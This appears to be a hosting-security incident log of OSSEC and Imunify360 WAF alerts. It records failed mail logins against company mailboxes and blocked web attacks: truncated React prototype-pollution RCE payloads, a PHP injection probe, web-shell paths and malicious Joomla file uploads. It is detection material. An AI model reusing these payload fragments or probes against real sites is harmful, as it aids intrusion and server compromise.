# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.99.195
country_id: 1269750
description:
2026-07-16 02:53:53 dovecot_login authenticator failed for H=([180.94.75.102]) [122.170.99.195]:56564: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://www.flop.jp.org/bbs_font/bbs.cgi\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-16 02:54:29 dovecot_login authenticator failed for H=(corporativo.static.gvt.net.br) [182.95.109.138]:39930: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.244.215.186
country_id: 298795
description:
2026-07-16 02:57:46 dovecot_login authenticator failed for H=([60.220.241.51]) [178.244.215.186]:51512: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.216.6.17
country_id: 2077456
description:
2026-07-16 02:58:19 dovecot_login authenticator failed for H=139-216-6-17.sta.dodo.net.au ([196.190.43.162]) [139.216.6.17]:42119: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-16 03:01:25 dovecot_login authenticator failed for H=([1.247.245.61]) [116.98.104.138]:52622: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-16 03:01:54 dovecot_login authenticator failed for H=([67.201.58.185]) [125.138.166.217]:46246: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"$5fa3dc1e\":\"active\",\"$73730a21\":\"resolved\",\"reason\":-1,\"_response\":{\"_prefix\":\"var bm=[].slice.call(arguments,1)[0];var ho=bm;try{var _v=((0,eval)(global[[\\\"Buf\\\",\\\"fe\\\",\\\"r\\\


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 206.119.170.12
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icodopsql/fonts/fhholpx.PHP||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-16 03:11:36 dovecot_login authenticator failed for H=(nsg-static-161.174.76.182-airtel.com) [188.122.37.97]:50864: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.67.3
country_id: 163843
description:
2026-07-16 03:11:24 dovecot_login authenticator failed for H=([188.247.54.50]) [205.209.67.3]:50660: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-07-16 03:12:29 dovecot_login authenticator failed for H=([101.13.4.119]) [203.172.213.166]:35425: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.16.221.216
country_id: 2635167
description:
2026-07-16 03:12:42 dovecot_login authenticator failed for H=(static-154.102.107.27-tataidc.co.in) [82.16.221.216]:49594: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.220.98
country_id: 1733045
description:
2026-07-16 03:12:46 dovecot_login authenticator failed for H=([46.183.130.145]) [49.124.220.98]:34518: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-16 03:12:52 dovecot_login authenticator failed for H=([49.124.151.4]) [103.163.44.10]:46232: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-16 03:12:16 dovecot_login authenticator failed for H=([59.110.5.198]) [188.122.37.97]:35988: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-16 03:13:36 dovecot_login authenticator failed for H=([36.138.44.211]) [197.219.228.246]:43354: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 37.122.149.28
country_id: 6251999
domain: idealloanz.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:a8335.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.162.61.229
country_id: 1835841
description:
2026-07-16 03:16:50 dovecot_login authenticator failed for H=(static-ip-181540165138.cable.net.co) [121.162.61.229]:57709: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77140880
name: IM360 WAF: Infectors: PHP Injection Attack
abuser: 206.119.170.12
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Infectors: PHP Injection Attack||MVN:MATCHED_VAR||MV:echo \"alive_\".call_user_func(\"php\".\"version\");||RSV:8.29||T:APACHE||SC:/home/alnay/public_html/tmp/install_61e1822636502/plugins/vmpayment/klikandpay/language/en-GB/manage.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.158.165.229
country_id: 2542007
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/wireless-presentation-solutions HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.177.245.198
country_id: 357994
description:
2026-07-16 03:17:17 dovecot_login authenticator failed for H=(customer-187-49-63-51.f1net.com.br) [154.177.245.198]:40076: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-16 03:18:46 dovecot_login authenticator failed for H=(mail.agilemobility360.com) [182.95.109.138]:43834: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-16 03:18:22 dovecot_login authenticator failed for H=([49.125.201.78]) [182.95.228.194]:50466: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.213.167.22
country_id: 1269750
domain: 220-mail.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/var/www/html/wp-content||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.121.102.76
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.29||T:APACHE||SC:/home/alnay/public_html/index.php||User:alnay||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.121.102.76
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:146947||Sizes:55||Combined size:55||User:alnay||WPU:||Filename:1g2efunh.php||Scanned:/tmp//20260716-032312-algBSN13-YSJw7O6fHPQWQAAAAM-file-Ggxq42||SC:/home/alnay/public_html/index.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77562131
abuser: 103.121.102.76
country_id: 1643084
domain: alnayza.com
name:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)

description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)||MVN:FILES:uploadedfile||MV:pj5uqnyn.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.121.102.76
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcei7omyr00.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 37.122.149.28
country_id: 6251999
domain: elegantautomotives.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:a2700.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-16 03:25:50 dovecot_login authenticator failed for H=(static.94.254.104.190.cps.com.ar) [193.46.192.20]:53431: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-16 03:25:38 dovecot_login authenticator failed for H=([139.227.188.247]) [61.37.150.6]:48480: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.175.90.25
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://kings96.net/\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 20.63.100.92
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.29||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: modsec
rule: 77783317
name: IM360 WAF: [monitor] DB-management plugin/tool interaction (WPT-2631 attack-surface tracking)
abuser: 20.63.100.92
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: [monitor] DB-management plugin/tool interaction (WPT-2631 attack-surface tracking)||MV:/adminer.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.63.100.92
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ahsmarine/public_html/wp-includes/SimplePie||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.156.23.197
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/contact-us HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.209.208
country_id: 1835841
description:
2026-07-16 03:32:52 dovecot_login authenticator failed for H=([101.13.5.63]) [14.35.209.208]:54118: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-16 03:33:33 dovecot_login authenticator failed for H=([68.71.243.10]) [41.219.149.74]:17230: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-16 03:33:21 dovecot_login authenticator failed for H=([123.212.9.122]) [125.19.163.58]:42586: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-16 03:36:37 dovecot_login authenticator failed for H=([68.71.251.130]) [120.29.140.188]:55694: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77562131
abuser: 103.121.102.76
country_id: 1643084
domain: globalgroupoman.com
name:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)

description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)||MVN:FILES:uploadedfile||MV:1z4mmnqp.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.121.102.76
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcexalh8f8h.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.121.102.76
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.29||T:APACHE||SC:/home/globalgroupoman/public_html/index.php||User:globalgroupoman||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.121.102.76
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:133619||Sizes:55||Combined size:55||User:globalgroupoman||WPU:||Filename:zpllv9at.php||Scanned:/tmp//20260716-034550-algGlun82On2o7mjkm_T-QAAAEw-file-u6sRPt||SC:/home/globalgroupoman/public_html/index.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-16 03:48:18 dovecot_login authenticator failed for H=([61.145.181.7]) [190.157.13.210]:37988: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-16 03:50:35 dovecot_login authenticator failed for H=([196.188.187.205]) [218.159.144.187]:54622: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.91.153.26
country_id: 3077311
description:
2026-07-16 03:51:10 dovecot_login authenticator failed for H=u153-26.static.grape.cz (202-62-129-18.ip.vocus.network) [93.91.153.26]:36328: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.150.87.223
country_id: 1522867
description:
2026-07-16 03:51:23 dovecot_login authenticator failed for H=37.150.87.223.dynamic.telecom.kz (180.151.254.218.reverse.spectranet.in) [37.150.87.223]:52868: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.43.150.20
country_id: 1668284
description:
2026-07-16 03:52:04 dovecot_login authenticator failed for H=([171.211.123.106]) [115.43.150.20]:41776: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 37.122.149.28
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:a4428.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.66.211
country_id: 1512440
description:
2026-07-16 03:52:24 dovecot_login authenticator failed for H=(167.43.246.220.static.netvigator.com) [213.230.66.211]:48886: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-16 03:55:01 dovecot_login authenticator failed for H=([103.230.176.152]) [116.98.104.138]:55406: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: www.ibmcglobal.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_70a97b34\":[],\"then\":\"$1:__proto__:then\",\"x_faf89fd5\":[],\"_response\":{\"_prefix\":\"var ftfrn=[].slice.call(arguments,1)[0];var eu=ftfrn;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.80.23.128
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/home-theatre-is-not-a-luxury-it-is-a-trend-of-a-covid-era-report-on-kerala-kaumudi HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77264624
name: IM360 WAF: Polyshell accesson backdoor access (CVE-2025-54265 post-exploit)
abuser: 64.188.80.250
country_id: 660013
domain: ddgalaxy.in
description:
IM360 WAF: Polyshell accesson backdoor access (CVE-2025-54265 post-exploit)||MV:/accesson.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 87.68.22.145
country_id: 294640
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es30?Itemid=101&catid=18 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.92.200.68
country_id: 2077456
description:
2026-07-16 04:01:34 dovecot_plain authenticator failed for H=(win-bolha.ksa55e4n1t3u3bi5xavbakflpf.px.internal.cloudapp.net) [20.92.200.68]:64875: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-16 04:01:45 dovecot_login authenticator failed for H=([111.39.167.59]) [59.6.72.106]:55243: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.184.40
country_id: 1210997
description:
2026-07-16 04:02:00 dovecot_login authenticator failed for H=([31.173.21.229]) [157.119.184.40]:44632: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-16 04:07:18 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [59.12.212.38]:50542: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-16 04:08:13 dovecot_login authenticator failed for H=([98.181.137.69]) [118.220.149.121]:43658: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.153.118.152
country_id: 99237
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/serendipity-arts-festival-in-panjim-goa HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 94.46.6.165
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 learn more about crypto checkout (<a href=\"https://buyonlinewithcrypto.com/\">buyonlinewithcrypto.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.73.38.200
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/150.0.0.0 Safari/537.36||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://uk.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.168.146.152
country_id: 6252001
description:
2026-07-16 04:24:32 dovecot_login authenticator failed for H=c-174-168-146-152.hsd1.ct.comcast.net ([222.108.109.37]) [174.168.146.152]:34588: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.223.244.3
country_id: 1269750
description:
2026-07-16 04:24:42 dovecot_login authenticator failed for H=([121.120.148.74]) [163.223.244.3]:47598: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.113.218.155
country_id: 1512440
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/video-conferencing-cameras HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 202.14.4.165
country_id: 1819730
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://classicvintageporn.name/out.php?url=http://cgi.www5b.biglobe.ne.jp/~akanbe/yu-betsu/joyful/joyful.cgi?page=20\">https://classicvintageporn.name/out.php?url=http://cgi.www5b.biglobe.ne.jp/~akanbe/yu-betsu/joyful/joyful.cgi?page=20</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 37.122.149.28
country_id: 6251999
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:a6375.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 206.119.170.12
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoqcjgwy/fonts/backup.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-16 04:34:18 dovecot_login authenticator failed for H=([192.252.210.237]) [182.95.228.106]:54818: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-16 04:34:54 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net (111-70-29-151.emome-ip.hinet.net) [64.207.225.55]:41674: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-16 04:43:04 dovecot_login authenticator failed for H=([98.188.47.130]) [197.219.210.86]:39704: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-16 04:43:22 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net ([184.170.245.145]) [111.70.33.194]:33342: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.82.153.212
country_id: 3625428
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/ssp6-multiducer?Itemid=101&catid=18 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://justinvalencia.com/picture.php?/96\">\xe2\x80\x9cViencaytrong.com\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.36.141.61
country_id: 953987
description:
2026-07-16 04:45:43 dovecot_login authenticator failed for H=([49.124.151.6]) [102.36.141.61]:33091: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.94.236.211
country_id: 6251999
description:
2026-07-16 04:46:02 dovecot_login authenticator failed for H=(nsg-corporate-73.251.187.122.airtel.in) [174.94.236.211]:60314: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-16 04:47:15 dovecot_login authenticator failed for H=([59.37.13.66]) [182.95.106.138]:42116: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.214.75.248
country_id: 298795
description:
2026-07-16 04:47:27 dovecot_login authenticator failed for H=(167.43.246.220.static.netvigator.com) [81.214.75.248]:41871: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-16 04:51:28 dovecot_login authenticator failed for H=([49.124.133.224]) [50.188.204.213]:35383: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-16 04:51:49 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee ([49.124.145.56]) [37.157.91.62]:58017: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-16 04:53:24 dovecot_login authenticator failed for H=([81.23.182.16]) [128.185.33.241]:56427: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.97.50.0
country_id: 2589581
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.52.226.144
country_id: 357994
description:
2026-07-16 04:56:08 dovecot_login authenticator failed for H=([202.228.243.12]) [217.52.226.144]:47500: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 157.20.32.172
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceiiuduhtk.xml.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 157.20.32.172
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceaoybxcwx.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.30.129.165
country_id: 6251999
description:
2026-07-16 05:02:44 dovecot_login authenticator failed for H=host-96-30-129-165.public.eastlink.ca ([185.94.182.35]) [96.30.129.165]:50684: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-16 05:03:45 dovecot_login authenticator failed for H=([61.37.150.6]) [196.188.93.169]:5207: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-16 05:04:04 dovecot_login authenticator failed for H=([92.124.133.35]) [106.247.22.181]:60050: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-16 05:03:10 dovecot_login authenticator failed for H=([67.201.38.131]) [125.23.155.110]:42002: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
